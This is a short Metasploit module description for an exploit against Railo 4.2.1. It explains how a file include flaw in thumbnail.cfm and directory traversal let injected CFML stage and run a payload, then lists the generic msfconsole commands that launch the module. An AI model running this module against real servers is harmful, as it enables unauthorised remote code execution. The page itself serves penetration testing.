This module exploits a remote file include vulnerability in Railo,
tested against version 4.2.1. First, a call using a vulnerable
<cffile> line in thumbnail.cfm allows an attacker to download an
arbitrary PNG file. By appending a .cfm, and taking advantage of
a directory traversal, an attacker can append cold fusion markup
to the PNG file, and have it interpreted by the server. This is
used to stage and execute a fully-fledged payload.
msf > use exploit/linux/http/railo_cfml_rfi
msf exploit(railo_cfml_rfi) > show targets
...targets...
msf exploit(railo_cfml_rfi) > set TARGET <target-id>
msf exploit(railo_cfml_rfi) > show options
...show and set options...
msf exploit(railo_cfml_rfi) > exploit